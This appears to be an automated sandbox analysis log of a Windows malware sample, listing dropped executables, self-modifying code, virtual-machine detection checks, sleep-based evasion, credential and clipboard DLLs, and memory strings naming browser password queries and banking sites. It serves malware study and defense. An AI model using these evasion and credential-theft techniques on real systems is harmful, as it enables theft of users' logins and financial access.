Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Special instruction interceptor: First address: 76EE00 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Special instruction interceptor: First address: 90AB49 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Special instruction interceptor: First address: 90A8F3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Special instruction interceptor: First address: 915345 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Special instruction interceptor: First address: 996CC0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Special instruction interceptor: First address: 3CBE93 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Special instruction interceptor: First address: 5746A6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Special instruction interceptor: First address: 572E9B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Special instruction interceptor: First address: 3C94BA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Special instruction interceptor: First address: 59D955 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Special instruction interceptor: First address: 57ED5D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Special instruction interceptor: First address: 5FBBC6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Special instruction interceptor: First address: DBE93 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Special instruction interceptor: First address: 2846A6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Special instruction interceptor: First address: 282E9B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Special instruction interceptor: First address: D94BA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Special instruction interceptor: First address: 2AD955 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Special instruction interceptor: First address: 28ED5D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Special instruction interceptor: First address: 30BBC6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Special instruction interceptor: First address: DB4648 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Special instruction interceptor: First address: BF5AF5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Special instruction interceptor: First address: E08FAD instructions caused by: Self-modifying code
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Special instruction interceptor: First address: BA4648 instructions caused by: Self-modifying code
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Special instruction interceptor: First address: 9E5AF5 instructions caused by: Self-modifying code
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Special instruction interceptor: First address: BF8FAD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Special instruction interceptor: First address: 684648 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Special instruction interceptor: First address: 4C5AF5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Special instruction interceptor: First address: 6D8FAD instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	Memory allocated: 2610000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	Memory allocated: 2680000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	Memory allocated: 4680000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	Memory allocated: 1830000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	Memory allocated: 32A0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	Memory allocated: 52A0000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe

Code function: 0_2_051F0CAD rdtsc

0_2_051F0CAD

Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window / User API: threadDelayed 1033	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window / User API: threadDelayed 968	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window / User API: threadDelayed 1066	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window / User API: threadDelayed 1151	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window / User API: threadDelayed 1033	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window / User API: threadDelayed 1081	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window / User API: threadDelayed 1070	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Window / User API: threadDelayed 895	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4066	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5741	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Window / User API: threadDelayed 9379
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Window / User API: threadDelayed 1149
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Window / User API: threadDelayed 821
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Window / User API: threadDelayed 1231
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Window / User API: threadDelayed 450
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Window / User API: threadDelayed 1415
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Window / User API: threadDelayed 8437
Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	Window / User API: threadDelayed 9310
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	Window / User API: threadDelayed 9274

Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_2-11097

Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\clip64[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\cred64[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\c1ec479e5342a2\cred64.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\clip64[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\cred64[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\sarra[1].exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 1788	Thread sleep time: -50025s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 2820	Thread sleep count: 1033 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 2820	Thread sleep time: -2067033s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 7056	Thread sleep count: 968 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 7056	Thread sleep time: -1936968s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 1292	Thread sleep count: 1066 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 1292	Thread sleep time: -2133066s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 904	Thread sleep count: 254 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 904	Thread sleep time: -7620000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 6472	Thread sleep time: -360000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 1784	Thread sleep count: 1151 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 1784	Thread sleep time: -2303151s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 3292	Thread sleep count: 1033 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 3292	Thread sleep time: -2067033s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 1880	Thread sleep count: 1081 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 1880	Thread sleep time: -2163081s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 1576	Thread sleep count: 1070 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 1576	Thread sleep time: -2141070s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 1784	Thread sleep count: 895 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe TID: 1784	Thread sleep time: -1790895s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6164	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 3752	Thread sleep count: 9379 > 30
Source: C:\Windows\SysWOW64\rundll32.exe TID: 3752	Thread sleep time: -9379000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 5548	Thread sleep time: -30000s >= -30000s
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 2888	Thread sleep count: 130 > 30
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 2636	Thread sleep count: 129 > 30
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe TID: 1276	Thread sleep count: 1231 > 30
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe TID: 1276	Thread sleep count: 450 > 30
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe TID: 7992	Thread sleep count: 61 > 30
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe TID: 7812	Thread sleep count: 1415 > 30
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe TID: 7812	Thread sleep count: 57 > 30
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe TID: 8088	Thread sleep count: 57 > 30
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe TID: 8088	Thread sleep time: -114057s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe TID: 8096	Thread sleep count: 72 > 30
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe TID: 8096	Thread sleep time: -144072s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe TID: 8080	Thread sleep count: 61 > 30
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe TID: 8080	Thread sleep time: -122061s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe TID: 8056	Thread sleep count: 303 > 30
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe TID: 8056	Thread sleep time: -9090000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe TID: 7868	Thread sleep time: -360000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe TID: 8076	Thread sleep count: 8437 > 30
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe TID: 8076	Thread sleep time: -16882437s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe TID: 2676	Thread sleep time: -23058430092136925s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe TID: 6624	Thread sleep time: -23980767295822402s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Last function: Thread delayed
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Thread sleep count: Count: 1149 delay: -10
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Thread sleep count: Count: 1231 delay: -10
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Thread sleep count: Count: 1415 delay: -10

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\rundll32.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\Videos\desktop.ini	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\Music\desktop.ini	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\OneDrive\desktop.ini	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: MPGPH131.exe, 0000001D.00000003.3058245130.0000000007DCB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: formVMware20,11696428655
Source: MPGPH131.exe, 0000001D.00000003.3058245130.0000000007DCB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696xa
Source: MPGPH131.exe, 0000001D.00000003.3058245130.0000000007DCB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ccount.microsoft.com/profileVMware20,11696428655u
Source: 831840b410.exe, 00000010.00000002.3115654406.0000000000FCA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: MPGPH131.exe, 0000001C.00000003.3062426887.0000000007CBF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CT service, encrypted_token FROM token_servicerr global passwords blocklistVMware20,11696428655
Source: MPGPH131.exe, 0000001C.00000003.3062426887.0000000007CBF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696
Source: c884f8452a.exe, 00000014.00000003.2982037903.000000000811B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: .comVMware20,11696428
Source: MPGPH131.exe, 0000001D.00000003.3058245130.0000000007DCB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,1169642865j
Source: MPGPH131.exe, 0000001D.00000003.3058245130.0000000007DCB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: r global passwords blocklistVMware20,11696428655
Source: MPGPH131.exe, 0000001C.00000003.3062426887.0000000007CBF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,1169642865h
Source: MPGPH131.exe, 0000001C.00000002.3251490227.0000000007C50000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}lfons\AppData\Local\Temp\heidivqkoBMIvF7c3\yFCGJeJiS2CNWeb Dataion VA
Source: MPGPH131.exe, 0000001D.00000003.3058245130.0000000007DCB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware20,11696428655
Source: MPGPH131.exe, 0000001C.00000002.3245487291.00000000013C7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000&
Source: MPGPH131.exe, 0000001D.00000003.3065747274.00000000079F1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: MPGPH131.exe, 0000001D.00000003.3065747274.00000000079F1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: MPGPH131.exe, 0000001D.00000003.3065747274.00000000079F1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: c884f8452a.exe, 00000014.00000003.2982037903.000000000811B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ebrokers.co.inVMware20,11696428655d
Source: c884f8452a.exe, 00000014.00000002.3272062949.000000000168F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}M`p
Source: MPGPH131.exe, 0000001D.00000003.3058245130.0000000007DCB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CT name, value FROM autofillmain'.sqlite_masterr global passwords blocklistVMware20,11696428655
Source: MPGPH131.exe, 0000001C.00000002.3245487291.00000000013F7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}\*
Source: MPGPH131.exe, 0000001D.00000003.3058245130.0000000007DCB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: explorha.exe, explorha.exe, 00000003.00000002.2151500663.00000000008EF000.00000040.00000001.01000000.00000008.sdmp, amert.exe, amert.exe, 0000000E.00000002.2840617908.0000000000556000.00000040.00000001.01000000.0000000F.sdmp, chrosha.exe, 0000000F.00000002.2880866448.0000000000266000.00000040.00000001.01000000.00000010.sdmp, c884f8452a.exe, 00000014.00000002.3269980553.0000000000D6E000.00000040.00000001.01000000.00000014.sdmp, MPGPH131.exe, 0000001C.00000002.3244453808.0000000000B5E000.00000040.00000001.01000000.00000015.sdmp, MPGPH131.exe, 0000001D.00000002.3252347370.0000000000B5E000.00000040.00000001.01000000.00000015.sdmp, c884f8452a.exe, 00000024.00000002.3145407488.0000000000D6E000.00000040.00000001.01000000.00000014.sdmp, RageMP131.exe, 0000002D.00000002.3204809220.000000000063E000.00000040.00000001.01000000.00000017.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: c884f8452a.exe, 00000014.00000002.3272062949.000000000167A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW =k
Source: MPGPH131.exe, 0000001C.00000002.3245487291.00000000013D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ?\#disk&ven_vmware&prouask#4&1656f219&0&0000f5-b6bf-11d0-94f2-00a08b
Source: MPGPH131.exe, 0000001D.00000003.3058245130.0000000007DCB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: RageMP131.exe, 0000002D.00000003.3144245338.00000000017DF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: MPGPH131.exe, 0000001D.00000003.3058245130.0000000007DCB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,116
Source: MPGPH131.exe, 0000001D.00000003.3058245130.0000000007DCB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428
Source: MPGPH131.exe, 0000001D.00000002.3253650821.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}x%
Source: MPGPH131.exe, 0000001D.00000003.3065747274.00000000079F1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: MPGPH131.exe, 0000001D.00000003.3058245130.0000000007DCB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: MPGPH131.exe, 0000001D.00000003.3065747274.00000000079F1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: MPGPH131.exe, 0000001D.00000003.3065747274.00000000079F1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: MPGPH131.exe, 0000001D.00000003.3065747274.00000000079F1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: MPGPH131.exe, 0000001D.00000003.3065747274.00000000079F1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: MPGPH131.exe, 0000001D.00000003.3065747274.00000000079F1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: RageMP131.exe, 0000002D.00000003.3144245338.00000000017DF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}<
Source: c884f8452a.exe, 00000014.00000002.3272062949.00000000016CC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}*
Source: MPGPH131.exe, 0000001D.00000003.3058245130.0000000007DCB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: rootpagecomVMware20,11696428655o
Source: c884f8452a.exe, 00000014.00000003.2982037903.000000000811B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s.portal.azure.comVMware20,11696428655
Source: c884f8452a.exe, 00000014.00000003.2982037903.000000000811B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696
Source: MPGPH131.exe, 0000001D.00000003.3065747274.00000000079F1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: RageMP131.exe, 0000002D.00000002.3206727588.00000000017DC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}!
Source: MPGPH131.exe, 0000001C.00000003.3062426887.0000000007CBF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428p
Source: MPGPH131.exe, 0000001D.00000003.3058245130.0000000007DCB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: pageformVMware20,11696428655
Source: 831840b410.exe, 0000001F.00000003.3237964866.0000000004062000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\m
Source: MPGPH131.exe, 0000001D.00000003.2969808776.0000000001284000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6b
Source: MPGPH131.exe, 0000001D.00000003.3058245130.0000000007DCB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: MPGPH131.exe, 0000001D.00000003.3065747274.00000000079F1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
